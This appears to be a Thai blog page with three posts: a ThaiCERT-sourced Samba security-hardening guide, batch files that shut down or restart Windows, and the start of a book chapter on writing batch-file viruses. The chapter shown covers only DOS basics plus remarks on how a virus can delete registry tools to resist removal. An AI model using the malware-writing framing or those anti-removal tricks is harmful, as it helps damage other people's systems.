โดยทั่วไปไฟล์ configuration ของ samba จะถูกเก็บไว้ที่ /etc/samba/smb.conf ไฟล์นี้จะเป็นตัวควบคุมการทำงานทั้งหมดของ samba ดังนั้นการแก้ไขใดๆ จึงควรกระทำด้วยความระมัดระวัง เพราะหากเกิดความผิดพลาดอาจจะทำให้เกิดการรั่วไหลของข้อมูลได้ เช่น การอนุญาตให้ผู้ใช้สามารถเข้าใช้งานได้โดยไม่ต้องใส่ username และ password

การแก้ไข configuration ของ samba นั้นสามารถทำได้ 2 วิธีคือ แก้ไขไฟล์โดยตรงที่ /etc/samba/smb.conf หรือติดตั้ง SWAT ซึ่งจะช่วยให้สามารถแก้ไข configuration ผ่านทางเว็บได้ (default port = 901/tcp) ซึ่งหากมีการใช้งาน SWAT ควรจำกัดการเข้าถึงเฉพาะผู้ดูแลระบบเท่านั้น เช่น ควบคุมให้เข้าถึงได้เฉพาะจากไอพีที่ระบุไว้ หรือยกเลิกการใช้งาน SWAT เมื่อเสร็จสิ้นการแก้ไข configuration

หมายเหตุ:

การแก้ไข configuration จะยังไม่มีผลต่อการทำงานของ samba ในทันที ผู้ดูแลระบบจะต้องเริ่มการทำงานของ samba ใหม่เท่านั้น โดยใช้คำสั่ง /etc/rc.d/init.d/smb restart หรืออาจจะใช้คำสั่ง kill -SIGHUP pid (pid = process number ของ smb)
การแก้ไข configuration ในส่วนของ global จะมีผลต่อทุกๆ ส่วน (หรือทุกๆ แชร์)

configuration ของ Samba นั้นมีรายละเอียดค่อนข้างมาก เอกสารฉบับนี้จะนำเสนอออปชันในส่วนที่เกี่ยวข้องกับความปลอดภัยเท่านั้น ซึ่งมีรายละเอียดดังต่อไปนี้

1. Authentication Security
เมื่อ Samba แชร์ไฟล์หรือเครื่องพิมพ์ให้แก่ผู้ใช้และไม่อนุญาตให้ guest เข้ามาใช้งาน ผู้ใช้จะต้องทำการยืนยันตัวตนกับ Samba ซึ่ง Samba มีวิธีในการเลือกการยืนยันตัวตนผ่านทางออปชัน security ซึ่งสามารถเลือกได้ 4 แบบดังนี้

security = share : samba จะแจ้งแก่ client ให้ส่งค่ารหัสผ่านอย่างเดียวเท่านั้น ดังนั้นหากผู้ใช้ทราบรหัสผ่านของผู้ใช้คนใดคนหนึ่งก็ตามก็สามารถเข้าใช้งาน ในระบบได้
security = user : samba จะแจ้งแก่ client ให้ส่งค่า username และรหัสผ่านมาเพื่อทำการตรวจสอบตัวตนผู้ใช้ ซึ่งในกรณีนี้จะเหมาะสำหรับผู้ที่ใช้ระบบปฏิบัติการวินโดวส์ NT/2000 เป็น client และใช้ username และรหัสผ่านเป็นชุดเดียวกันกับที่ Samba server
security = server : มีรูปแบบการทำงานคล้ายกับแบบ user เพียงแต่ Samba server จะใช้ SMB server อื่นเป็นตัวทำหน้าที่ตรวจสอบ username และรหัสผ่านแทน
security = domain : Samba สามารถเป็นสมาชิกของ Windows Domain ได้ ดังนั้นเมื่อผู้ใช้ทำการยืนยันตัวตนกับ primary domain controller (PDC) แล้ว ก็จะสามารถเข้าใช้งานแชร์ที่อยู่บน Samba server ได้ (เป็นคุณสมบัติอย่างหนึ่งของระบบโดเมน)

หมายเหตุ: หากมีการระบุออปชั่น Public = yes หรือ Guest ok = yes ใน /etc/samba/smbd.conf แล้ว และไม่ว่าจะระบุ security เป็นออปชันใด Samba ก็จะไม่ทำการตรวจสอบรหัสผ่านที่ส่งมาจากไคลเอ็นต์ (client) แต่อย่างใด

2. Passwords
การที่ผู้ใช้จะสามารถเข้าถึงไดเรกทอรีหรือ เครื่องพิมพ์ที่แชร์ไว้ได้นั้น ผู้ใช้จะต้องมี unix account บนเครื่องเซิร์ฟเวอร์ที่ให้บริการ Samba เสียก่อน โดยปกติ Samba สนับสนุนการตรวจสอบตัวตนผู้ใช้ทั้งในแบบที่มีการเข้ารหัส (Encrypted) และไม่มีการเข้ารหัส (Non-encrypted) โดยการตั้งค่า

encrypt passwords = [yes|no]

โดยหากมีค่าเป็น no ตัว Samba จะทำการตรวจสอบรหัสผ่าน(และ username) จากไฟล์ /etc/passwd แต่หากมีค่าเป็น yes ตัว Samba จะทำการตรวจสอบรหัสผ่าน(และ username) จากไฟล์ /etc/samba/smbpasswd แทน ทั้งนี้หากไฟล์ /etc/samba/smbpasswd ไม่มีอยู่จริง ก็จะทำให้ไม่มีผู้ใช้รายใดสามารถเข้าใช้งานแชร์ทั้งหมดได้ (โดยปกติจะไม่มีไฟล์นี้อยู่ ผู้ดูแลระบบจะต้องสร้างไฟล์นี้ขึ้นเอง ซึ่งจะกล่าวถึงรายละเอียดในลำดับต่อไป)

การใช้งานออปชัน encrypt passwords นั้น จะขึ้นอยู่กับความสามารถของระบบปฎิบัติการที่เป็นไคลเอนต์ว่า สนับสนุนการเข้ารหัสหรือไม่ ดังนี้

ตารางที่ 1 แสดงระบบปฏิบัติการต่างๆ กับความสามารถในการส่งรหัสผ่านแบบเข้ารหัส

Operating System	Encrypted or Non-encrypted
Windows 95	Non-encrypted
Windows 95 with SMB Update	Encrypted
Windows 98	Encrypted
Windows NT 3. x	Non-encrypted
Windows NT 4.0 before SP 3	Non-encrypted
Windows NT 4.0 after SP 3	Encrypted

ในกรณีที่ตั้งค่า encrypt passwords = no ซึ่งหมายถึง Samba จะต้องทำการตรวจสอบรหัสผ่านและรายชื่อผู้ใช้จากไฟล์ /etc/passwd ผู้ดูแลระบบจะสังเกตได้ว่าในไฟล์ /etc/passwd นั้นมี default account อยู่จำนวนมาก เช่น root, bin, daemon, shutdown ซึ่งหมายความว่า account ที่ติดมากับระบบดังกล่าว สามารถเป็นผู้ใช้ที่ถูกต้องในระบบของ Samba ได้ด้วย ดังนั้นจึงขอแนะนำให้ทำการยกเลิกการใช้งาน account ที่ติดมากับระบบ โดยการตั้งค่าออปชัน invalid users ไว้ที่ส่วน [global] ดังเช่น

[global]
invalid users = root bin daemon adm sync shutdown \
halt mail news uucp operator gopher \
nobody mailnull rpm ntp

อย่างไรก็ตาม Samba ได้แนะนำให้ใช้ออปชัน encrypt passwords = yes แทนเพราะจะทำให้มีความปลอดภัยมากกว่า ทั้งนี้ผู้ดูแลระบบจำเป็นต้องสร้างไฟล์ /etc/samba/smbpasswd ขึ้นมา เพื่อรองรับการทำงานในโหมดดังกล่าว ซึ่งสามารถทำได้ 2 วิธีด้วยกันคือ

ใช้คำสั่ง touch /etc/samba/smbpasswd เพื่อสร้างไฟล์เปล่าขึ้นมา
- ใช้คำสั่ง smbpasswd -a lersak เพื่อเพิ่ม account lersak ขึ้นมาในระบบของ Samba (account lersak จะต้องมีรายชื่อเป็นผู้ใช้ในระบบเสียก่อน โดยตรวจสอบในไฟล์ /etc/passwd จึงจะสามารถใช้คำสั่งดังกล่าวได้)
- หาก lersak ต้องการเปลี่ยนรหัสผ่านสำหรับเข้าใช้บริการของ Samba ก็สามารถใช้คำสั่ง smbpasswd lersak เพื่อทำการเปลี่ยนรหัสผ่านได้
หรือใช้สคริปต์ mksmbpasswd.sh เพื่อให้ samba สร้างไฟล์ passwd ของ samba เอง ด้วยคำสั่งต่อไปนี้

cat /etc/passwd | /usr/bin/mksmbpasswd.sh > /etc/samba/smbpasswd

คำสั่งด้านบนนี้จะทำการคัดลอกข้อมูลผู้ใช้ทั้ง หมดในไฟล์ /etc/passwd ไปสร้างเป็นผู้ใช้ในระบบของ Samba ดังนั้นหากตรวจสอบไฟล์ /etc/samba/smbpasswd ดู จะพบว่ามี account ที่เป็นดีฟอลต์ติดมาด้วย ดังนั้นผู้ดูแลระบบจะต้องลบ account ที่ไม่ต้องการดังกล่าวออกจากระบบของ Samba ด้วยการเข้าไปแก้ไขไฟล์ /etc/samba/smbpasswd โดยตรงหรือใช้คำสั่ง smbpasswd -x username สำหรับ username ที่ไม่จำเป็น
ใช้คำสั่ง smbpasswd สำหรับสร้าง Samba account หรือเปลี่ยนรหัสผ่านได้ตามต้องการ

สำหรับระบบที่ให้บริการ Samba service และใช้ออปชัน encrypt passwords = yes ซึ่งจำเป็นต้องสร้าง account ของระบบขึ้นมาก่อนนั้น ในบางครั้ง account ดังกล่าวไม่ต้องการใช้งาน shell ในระบบเลย มีการใช้งานเฉพาะในส่วนของการขอใช้บริการของ Samba server เท่านั้น ดังนั้นผู้ดูแลระบบควรทำการยกเลิกการใช้งาน account ของระบบดังกล่าว โดยแก้ไขไฟล์ /etc/passwd แล้วเพิ่มเครื่องหมาย colon (:) ไปที่ต้นบรรทัดของบรรทัดที่ระบุชื่อ account ที่ไม่ต้องการให้เข้าใช้งานในระบบ เช่น

:lersak:x:503:500::/home/lersak:/bin/bash

นอกจากนี้การที่ Samba สร้างไฟล์รหัสผ่านของตัวเองแยกออกมาจากของระบบทำให้ผู้ใช้สามารถมีรหัสผ่าน ที่แตกต่างกันได้ อย่างไรก็ตามเพื่อป้องกันไม่ให้ผู้ใช้ของ Samba ทำการตั้งรหัสผ่านเป็น null (ไม่มีค่าใดๆ) ผู้ดูแลระบบควรตั้งค่าออปชัน null passwords = no เพื่อป้องกันเหตุการณ์ดังกล่าวได้

นอกจากนั้น ผู้ดูแลระบบที่ตั้งค่า encrypt passwords = yes จำเป็นอย่างยิ่งที่จะต้องตั้งค่า permission ของไฟล์ /etc/samba/smbpasswd ให้มีค่าเป็น 0600 เพื่อป้องกันการ crack password จากไฟล์ดังกล่าว

3. Networking Options
มี configuration ที่เกี่ยวข้องกับเครือข่ายที่ควรพิจารณาแก้ไขดังต่อไปนี้

แก้ไขออปชันของ hosts allow, hosts deny ให้ตรงกับความต้องการ ซึ่งควรตั้งค่าให้สามารถใช้งานได้เฉพาะเครื่องที่จำเป็นต้องใช้งานเท่านั้น เช่น

hosts allow = 192.168.1.
hosts deny = 192.168.1.226/255.255.255.255

โดยค่าที่สามารถระบุได้ใน hosts allow, hosts deny คือ

hostname เช่น hosts allow = example.nectec.or.th
ip address เช่น hosts allow = 192.168.1.22
domain เช่น hosts allow = .nectec.or.th exact.nectec.or.th
(.nectec.or.th หมายถึง ทุกเครื่องที่อยู่ภายใต้โดเมน nectec.or.th)
netgroup โดยปกติใช้ได้กับเครือข่ายที่ติดตั้ง NIS, NIS+ เท่านั้น เช่น hosts allow = @localnet

subnet เช่น hosts allow = 192.168.1. (192.168.1. หมายถึง 192.168.1.0/24)
ALL ซึ่งหมายถึง ip ใดก็ได้
EXCEPT เป็นการยกเว้นค่าที่ต้องการ เช่น hosts deny = ALL EXCEPT 192.168.1.

อย่างไรก็ตาม Samba มีกฎในการนำค่า configuration ของ host allow, hosts deny ไปใช้งานดังนี้

ถ้าไม่มีการระบุ hosts allow หรือ hosts deny ตัว Samba จะถือว่าเป็นการอนุญาตให้ใช้งานได้อย่างอิสระ (เสมือน hosts allow = ALL)
ถ้ามีการระบุ hosts allow, hosts deny ใน [global] ค่าดังกล่าวจะมีผลกับทุกๆ แชร์ แม้ว่าจะมีการระบุ hosts allow, deny ในแต่ละแชร์ซึ่งการระบุในแต่ละแชร์ดังกล่าวจะถือว่าไม่มีผลแต่อย่างใด
ถ้ามีการระบุ hosts allow แต่ไม่ได้ระบุ hosts deny จะถือว่า ค่าที่นอกเหนือจากที่ระบุใน hosts allow จะมีสถานะเป็น deny โดยอัตโนมัติ
ในทำนองเดียวกัน ถ้ามีการระบุ hosts deny แต่ไม่ได้ระบุ hosts allow จะถือว่า ค่าที่นอกเหนือจากที่ระบุใน hosts deny จะมีสถานะเป็น allow โดยอัตโนมัติ
ถ้ามีค่า เช่น ip address หรือ subnet ถูกระบุในทั้ง hosts allow และใน hosts deny จะถือว่าค่าดังกล่าวมีสถานะเป็น deny

4. Filesystem Options
configuration ในส่วนนี้จะเกี่ยวข้อง filesystem ซึ่งผู้ดูแลระบบจำเป็นต้องเข้าใจและนำไปใช้ให้เหมาะสมกับระบบของตน

ตั้งค่าให้ซ่อนไฟล์ (attribute = hidden) สำหรับชื่อไฟล์ที่ขึ้นด้วยเครื่องหมาย dot (.) ด้วยออปชัน hide dot files = yes
อย่างไรก็ตามหากผู้ใช้ระบบปฏิบัติการวินโดวส์ที่ตั้งค่าให้สามารถ view hidden files ผ่านทาง windows explorer ได้ก็จะสามารถมองเห็นไฟล์ดังกล่าวได้ด้วยดังรูปที่ 2

รูปที่ 2 การแสดงผลใน windows explorer เมื่อใช้ออปชัน hide dot files = yes

ในการแชร์ไฟล์ใดๆ ก็ตาม ผู้ดูแลระบบสามารถกำหนดให้บางไฟล์มีแอตทริบิวต์เป็น hidden ได้ โดยการตั้งค่าดังตัวอย่างนี้

[data]
path = /home/samba/data
browseable = yes
guest ok = no
writeable = yes
case sensitive = no
hide files = /*.java/*README*/

รูปที่ 3 การแสดงผลใน windows explorer เมื่อใช้ออปชัน hide files

โดยการกำหนดชื่อไฟล์ที่ต้องการซ่อนนั้นสามารถใช้ pattern matching ได้ อย่างไรก็ตามหากผู้ใช้ระบบปฏิบัติการวินโดวส์ที่ตั้งค่าให้สามารถ view hidden files ผ่านทาง windows explorer ได้ก็จะสามารถมองเห็นไฟล์ดังกล่าวได้ด้วยดังรูปที่ 3

หากผู้ดูแลระบบไม่ต้องการให้ผู้ใช้มองเห็นไฟล์ บางไฟล์ได้จริง (ดังรูปที่ 4) ต้องใช้ออปชัน veto files ในการตั้งค่า ซึ่งมีรูปแบบการใช้งานเหมือนกับออปชัน hide files เช่น

[data]
path = /home/samba/data
browseable = yes
guest ok = no
writeable = yes
case sensitive = no
veto files = /*.java/*README*/

รูปที่ 4 การแสดงผลใน windows explorer เมื่อใช้ออปชัน veto files

อย่างไรก็ตาม เมื่อผู้ใช้ไม่ทราบว่ามีไฟล์ที่ถูกซ่อนอยู่ (โดยใช้ออปชัน veto files) จึงมีความเป็นไปได้ที่ผู้ใช้จะทำการลบไดเรกทอรีที่บรรจุ veto file ดังกล่าวอยู่ ผู้ดูแลระบบสามารถกำหนดได้ว่าจะอนุญาตให้ลบไฟล์ที่เป็น veto file ได้หรือไม่ด้วยออปชัน delete veto files = yes หรือ no ตามความต้องการ
ผู้ดูแลระบบสามารถกำหนดให้ผู้ใช้สามารถมองเห็น บางไดเรกทอรีได้ แต่ไม่สามารถมองเห็นข้อมูลไฟล์ใดๆ ในไดเรกทอรีดังกล่าวได้ รวมทั้งไม่สามารถสร้างไฟล์หรือไดเรกทอรีภายใต้ไดเรกทอรีดังกล่าวได้อีกด้วย โดยใช้ออปชัน dont descend เช่น

[data]
path = /home/samba/data
browseable = yes
guest ok = no
writeable = yes
case sensitive = no
dont descend = folder1 folder2

มีออปชันที่เกี่ยวข้องกับ link file ที่จะกล่าวถึงคือ follow symlinks = [yes|no] ซึ่งหากระบุเป็น no ก็เป็นการสั่งให้ Samba ไม่ค้นหาไฟล์ที่เป็นต้นฉบับที่แท้จริง หากมีการเรียกใช้ไฟล์ที่เป็น symbolic link ผู้ใช้ก็จะได้รับ error message ดังรูป 5

รูปที่ 5 การแสดงผลใน windows explorer เมื่อใช้ออปชัน follow symlinks = no

ในกรณีที่ระบุ follow symlinks = yes และไฟล์ดังกล่าวลิงค์ไปยังต้นฉบับที่อยู่นอกไดเรกทอรีที่แชร์ไว้ ผู้ดูแลระบบสามารถกำหนดได้ว่าจะให้ผู้ใช้ใช้งานไฟล์ต้นฉบับดังกล่าวได้หรือ ไม่ด้วยออปชัน wide links = [yes|no]

5. File Permissions and Attributes

ออปชัน create mask ใช้กำหนดค่า default permission สูงสุด สำหรับไฟล์ที่สร้างขึ้นมาใหม่ เช่น create mask = 0640

ออปชัน directory mask ใช้กำหนดค่า default permission สูงสุด สำหรับไดเรกทอรีที่สร้างขึ้นมาใหม่ เช่น directory mask = 750

6. การควบคุมการเข้าถึงแชร์
ผู้ดูแลระบบควรจำกัดการเข้าถึงแชร์ใดๆ ให้ใช้งานได้เฉพาะผู้ที่สมควรได้รับสิทธิ์เท่านั้น โดยมีออปชันที่เกี่ยวข้องดังนี้

valid users = myuid, lersak, @staff
ระบุให้เฉพาะผู้ใช้ที่มีชื่อในรายการนี้เท่านั้น จึงจะสามารถเข้าถึงดิสก์ที่แชร์ไว้ได้ (ใช้ @ สำหรับทั้ง group)
** หากรายชื่อผู้ใช้ที่กำหนดไว้ใน valid users ไปปรากฏซ้ำกับรายชื่อใน invalid users ก็จะถือว่าผู้ใช้รายนั้นถูกจัดในกลุ่ม invalid users

invalid users = kitisak, @guest
แสดงรายชื่อผู้ใช้ที่ไม่มีสิทธิ์เข้าใช้งานแชร์

writable = yes
writeable = yes
write ok = yes
read only = no
ออปชันทั้งสี่แบบด้านบนนี้ให้ผลลัพธ์เหมือนกัน คืออนุญาตให้ผู้ใช้สามารถสร้างไฟล์หรือไดเร็กทอรีขึ้นมาใหม่ได้

read list = choawalit, kitisak
แสดงรายชื่อผู้ใช้ที่มีสิทธิ์ใช้งานแชร์แบบอ่านเท่านั้น ไม่สามารถทำการแก้ไขใดๆ ได้ หากว่าผู้ใช้ใน read list มีชื่อใน list อื่น เช่น write list, read only, writeable ก็จะถือว่าผู้ใช้นั้นมีสิทธิ์เป็น read only เท่านั้น

write list = lersak, phuwadon, siriwan
เป็นการให้สิทธิ์ write แก่ผู้ใช้ที่มีชื่อในรายการนี้ แม้ว่าจะมีการระบุว่า read only = yes ก็ตาม

public = no
guest ok = no
ออปชัน public และ guest ok สามารถใช้แทนกันได้ ซึ่งหากกำหนดค่าเป็น yes ก็จะทำให้สามารถเข้าใช้งานดิสก์ที่แชร์ไว้โดยไม่ต้องล็อกอิน

hosts equiv =
เป็นออปชันที่เป็นอันตรายอย่างยิ่ง ผู้ดูแลระบบควรตรวจสอบให้แน่ใจว่าไม่มีการระบุออปชันนี้ในไฟล์ /etc/samba/smb.conf เป็นอันขาด เพราะในออปชัน hosts equiv ดังกล่าวจะกำหนดรายชื่อผู้ใช้และโฮสต์ที่สามารถเข้าใช้งานดิสก์ที่แชร์ไว้ โดยไม่ต้องใช้รหัสผ่าน (คล้ายกับไฟล์ hosts.equiv ของ Unix)

7. คำแนะนำเกี่ยวกับความปลอดภัยอื่นๆ
ผู้ดูแลระบบจะต้องระมัดระวังในการให้ write permission ของไฟล์ /etc/samba/smb.conf แก่ผู้ใช้รายอื่น เพราะหากผู้ใช้สามารถแก้ไขข้อมูลในไฟล์ smb.conf ได้ เช่น อาจจะเพิ่มออปชัน root preexec = , root postexec = ซึ่งเป็นการระบุให้รันคำสั่งที่ต้องการด้วยสิทธิ์ของ root ผู้ใช้รายดังกล่าวก็สามารถครอบครองระบบได้โดยง่าย

ดังนั้นจึงควรแก้ไขค่า permission ของไฟล์ /etc/samba/smb.conf ดังนี้

chown root.root /etc/samba/smb.conf
chmod 600 /etc/samba/smb.conf

อย่างไรก็ตามผู้ดูแลระบบควรระมัด ระวังเมื่อติดตั้ง SWAT เวอร์ชั่นที่ติดมากับ Red Hat linux version ที่ต่ำกว่า 7.0 เพราะ SWAT จะทำการแก้ไข permission ของไฟล์ /etc/samba/smb.conf เป็น 664 แตกต่างจาก SWAT ที่ติดมากับ Red Hat 7.0 ขึ้นไปนั้นไม่มีช่องโหว่ดังกล่าวแล้ว แต่ผู้บุกรุกยังสามารถติดตั้ง SWAT เวอร์ชันที่มีช่องโหว่เองได้

สิ่งที่สำคัญคือ ผู้ดูแลระบบจะต้องตั้งค่าออปชันดังต่อไปนี้ในทุกๆ แชร์ เพื่อกำหนดสิทธิ์ให้ชัดเจนว่า ผู้ใช้รายใดจะสามารถเข้ามาใช้งานได้และสามารถใช้งานในระดับใดได้บ้าง

valid users =
writeable =
read list =
write list =
hosts allow =
hosts deny =

หมายเหตุ :
**พอร์ตที่เกี่ยวข้องกับการทำงานของ samba server คือ 137/udp, 138/udp, 139/tcp
**ผู้ดูแลระบบควรตรวจสอบการใช้งานของผู้ใช้อย่างสม่ำเสมอ ด้วยคำสั่ง smbstatus

อ้างอิงข้อมูลจาก http://www.thaicert.org

shutdown ....

2011-04-18T02:28:00.001-07:00

การให้เครื่อง Restart, Shutdown, LogOff ด้วย แบทไฟล์

1. เปิด Notepad ขึ้นมาพิมพ์(หรือก็อปไปใช้)
:ทำการชัตดาวน์เครื่อง
@shutdown.exe -s -t 0
2. บันทึกเป็น ชัตดาวน์.BAT
3. ลองดับเบิลคลิ๊กดู

1. เปิด Notepad ขึ้นมาพิมพ์(หรือก็อปไปใช้)
:ทำการรีสตาร์ท
@shutdown.exe -r -t 0
2. บันทึกเป็น รีสตาร์ท.BAT
3. ลองดับเบิลคลิ๊กดู

1. เปิด Notepad ขึ้นมาพิมพ์(หรือก็อปไปใช้)
:ทำการ LogOff
@shutdown.exe -I -t 0
2. บันทึกเป็น ล็อกออฟ.BAT
3. เรียกใช้

Dos command

2011-04-18T02:22:00.001-07:00

เขียนไวรัสมันยากกว่าเขียนหนอนยังไง

เขียนไวรัสมันยากกว่าเขียนหนอนยังไง

เอาล่ะ...ไม่ได้เจอกันซะนาน...หายไปทำภาระกิจส่วนตัว...และแล้วมันก็จบ
ครับ...หนังสือ...หนังหา...เลิกแต่งดีกว่า...เพราะไม่รู้ว่าเราส่งต้นฉบับไป...
เขาจะนำไปลิขสิทธิ์ของเขาหรือเปล่า บอกว่า เครดิต 3 เดือน...โอย...ป่าน
นั้นผมคงถูกเขาจดลิขสิทธิ์ไปแล้ว...เลยแก้เผ็ดด้วยการโพสต์หนังสือทั้งเล่ม
ผ่านทางเวปบล็อกซะเลย...ทีนี้ใครอยากละเมิดลิขสิทธิ์ก็ปิดเวปบล็อกผม
ก่อนแล้วกัน...
ผู้อ่านจะได้รับผลประโยชน์มากกว่าด้วย...ไม่ต้องซื้ออ่าน...ปริ้นท์มันที่บ้าน
คุณนั้นแหละ...ขนาดเกมส์ไพ่ป็อกเขียนมาตั้งแต่สมัยอยู่ ปวส. ตอนนั้นว่า
มันเขียนยากแล้วนะ...ยังโพสต์ Source code ให้ผู้อ่านไปเขียนเล่นกันฟรีๆ
สมัยนั้นใช้ Fox Pro DOS เขียน คุณคิดว่ามันยากแค่ไหน... ตอนนี้มันทำงาน
บน วินโดวส์ เขียนไม่ถึงวันก็เสร็จ

เอาล่ะ มาเขาเรื่องกันดีกว่า...

มัลลิคอยอัส ซอฟต์แวร์ หรือ Malware นั้น จำแนกได้หลายประเภท แต่ที่
ผู้ใช้คอมพิวเตอร์ แยกแยะกันไม่ค่อยจะออกกันซะเลยคือ ไวรัส กับ หนอน
คอมพิวเตอร์ ถ้าคุณเองเป็นผู้ถูกเล่นงานล่ะก็...ไม่สำคัญหลอกว่ามันจะเป็น
อะไร...แต่เกลียดมันอย่างเดียว...แต่ถ้าคุณเป็นผู้เขียนหรือผู้ที่ศึกษาด้าน
ความปลอดภัยระบบ...ขอบอกว่ามันจำแนกอย่างนี้
1. ไวรัสสามารถแพร่ตัวมันเองไปกับหนอนได้
2. หนอนคอมพิวเตอร์ไม่สามารถแพร่เชื้อใส่ไวรัสได้แต่อาศัยในม้าโทรจัน
ได้
3. ไวรัสสามารถฝั่งตัวในหนอน...และม้าโทรจันได้โดยไม่ต้องรอการเรียก
ใช้จากหนอนหรือม้าโทรจัน หรืออาศัยฝั่งอยู่ในรูปแบบของคำสั่งทำลายได้

อ่ะมาเข้าสู่...ปฐมภูมิของ แบทไฟล์ไวรัส

กรณีศึกษาเพื่อทำความเข้าใจเกี่ยวกับคำสั่งไวรัส
1. หนอนและไวรัสแบทช์ไฟล์
เจาะลึก DOS Batch File (ปูพื้นฐานการศึกษามัลแวร์)
Batch File คืออะไร...มันคือชุดคำสั่งที่รวบรวมคำสั่งบน Command Line (หรือคำสั่งบน หน้าต่าง Cmd ของ วินโดวส์ XP) ซึ่งในอดีต...DOS สร้างขึ้นมาเพื่อเป็นเมนูลัดบนระบบปฏิบัติการรุ่นโบราณที่ทำงานอยู่บน "คอนโซล(แป้นพิมพ์และจอภาพ)" เช่นการ CD \DOS คือการเข้าไปยัง Directory DOS หากจะพิมพ์ข้อความเหล่านั้นทั้งหมด...บ่อยๆ ครั้ง จะทำให้เสียเวลา DOS จึงให้สามารถนำคำสั่งที่ใช้บ่อยๆ มาบันทึกเป็นแฟ้มข้อความที่มีนามสกุล .BAT เพื่อให้สามารถพิมพ์ชื่อแฟ้ม .BAT นั้นและตามด้วย Enter ก็สามารถเรียกใช้คำสั่งทั้งหมดในนั้นได้คำสั่งเพียงคำสั่งเดียวคุณเองจำมันได้ จะกลายเป็นเส้นทางลัดและคำสั่งแบบซับซ้อน
ซึ่งตัวของ Batch File เองสามารถทำงานอะไรได้บ้าง...โอย...มันทำงานได้มากจนคุณเองคาดไม่ถึงเลย...ตั้งแต่การล็อกระบบ, ตรวจสอบข้อมูล Error หรือ, เขียนไวรัส...(อันสุดท้ายนี้ไม่ค่อยชอบนะแต่คุ้นเคย) และผู้อ่านที่บางคนไม่เคยแตะ...DOS มา ก่อนจะศึกษาได้หรือเปล่า...ได้ครับ...แต่ต้องมีพื้นฐานต้องหาอ่านกันหน่อย ในหนังสือเล่มนี้จะอธิบายเฉพาะคำสั่งที่สำคัญๆ เท่านั้น...เพราะเกรงว่าถ้าอธิบายทุกๆ คำสั่งของ DOS เนื้อหาของหนังสือจะไม่พอครับ...
เอาล่ะ...ปูพื้นกันใหม่ด้วย DOS บนวินโดวส์เอ็กซ์พี...
DOS ที่ทำงานบนวินโดวส์ 32 บิต มันจะขยายการทำงานของ Environment Memory ที่คุณใช้กำหนดตัวแปรด้วยคำสั่ง SET และมันก็ทำงานร่วมกับชื่อแฟ้มข้อมูลที่มีขนาดยาวๆ ได้สบาย รวมถึงบรรจุคำสั่งภายใน (Internal Command) เอาไว้ในระบบวินโดวส์ ครับ...เป็นผลให้ตำรา DOS ที่ คุณเคยเปิดอ่าน...เก็บมันใส่ลังได้เลยเพราะคำสั่งใหม่ๆ เพิ่มเข้ามาเพียบ...ผมเองก็นำมาสอนได้ไม่ทุกคำสั่งครับ...แต่มีรายชื่อคำ สั่งภายใน (Internal Command) ให้คุณดูเล่นๆ ดังนี้ ASSOC, AT, ATTRIB, BREAK, CACLS, CALL, CD, CHCP, CHDIR, CHKDSK,CHKNTFS, CLS, CMD, COLOR, COMP, COMPACT, CONVERT, COPY, DATE,DEL, DIR, DISKCOMP, DISKCOPY, DOSKEY, ECHO, ENDLOCAL, ERASE,EXIT, FC, FIND, FINDSTR, FOR, FORMAT, FTYPE, GOTO, GRAFTABL,HELP, IF, LABEL, MD, MKDIR, MODE, MORE, MOVE, PATH, PAUSE, POPD, PRINT, PROMPT, PUSHD, RD, RECOVER, REM, REN, RENAME, REPLACE,RMDIR, SET, SETLOCAL, SHIFT, SORT, START, SUBST, TIME, TITLE, TREE, TYPE, VER, VERIFY, VOL, XCOPY นี้คือคำสั่งที่สามารถทำงานได้ทุกเวลาที่ วินโดวส์ทำงานครับ ไม่เหมือนกับ (External Command) เช่น EDIT.EXE, FDISK.EXE ซึ่งไวรัสเองสามารถลบแฟ้มคำสั่งเหล่านั้นทิ้ง ส่งผลให้ใช้คำสั่งนั้นไม่ได้ ตัวอย่างคือถ้าไวรัสลบแฟ้ม REG.EXE ทิ้งไปซะ จะทำให้ไม่สามารถแก้ไขระบบรีจีสตรีย์ ของวินโดวส์ได้ใน DOS Command และถ้าไวรัสลบแฟ้ม REGEDIT.EXE, REGEDIT32.EXE ทิ้ง ไปอีก ก็ไม่สามารถเข้ารีจีสตรีย์ ในวินโดวส์ได้เลย ทำให้การฆ่าไวรัสยากขึ้นอีกมาก อย่างไรก็ดี คุณรู้แล้วควรสำรองแฟ้มเหล่านี้เก็บเอาไว้เพื่อไม่ให้ถูกเล่นงานจากไวรัสแบบ เซียน
คำสั่งบน DOS นั้น ประกอบด้วย...
[คำสั้งDOS]วรรค[/ พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น DIR /AS C:\WINDOWS
หรือ
[คำสั่งDOS]วรรค[+- พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น ATTRIB +R +H +S C:\AUTOEXEC.BAT
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น REG QUERY HKLM\SYSTEM
หรือจะดูรูปแบบคำสั่งในตัวช่วย
[คำสั่งDOS] /?
เช่น COPY /?
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย] /?
เช่น REG QUERY /?
DOS จะมีอุปกรณ์เชื่อมต่อที่สำคัญอยู่ 5 แฮนเดิล...
ซึ่งทำงานเสมอ..โดยไม่มีโปรแกรมใดเข้าไปแตะต้อง...นอกจากยืมใช้งาน
1. อุปกรณ์ "CON" ใช้อ้างถึงเมื่อต้องการติดต่อจอภาพกับคีย์บอร์ด
2. อุปกรณ์ "AUX" ใช้อ้างถึงเมื่อต้องการติดต่อพอร์ตสื่อสารอนุกรม
3. อุปกรณ์ "PRN" ใช้อ้างถึงเมื่อต้องการติดต่อเครื่องพิมพ์ (Default)
4. อุปกรณ์ "LPT" ใช้อ้างถึงพอร์ตขนาน
5. อุปกรณ์ "NUL" ใช้อ้างถึงเมื่อไม่ต้องการส่งข้อมูลไปที่ใดเลยผลทำให้การแสดงผลของคำสั่งไม่มีหรือหายไป...
คำสั่งเชื่อมต่อ หรือ "ไปป์ปิ้ง ; Piping"
และคำสั่งที่จะอ้างถึงอุปกรณ์เหล่านั้นเราเรียก "ท่อ Pipe" หรือคำสั่ง "ไปป์ปิ้ง" มีอยู่ 5 คำสั่งคือ
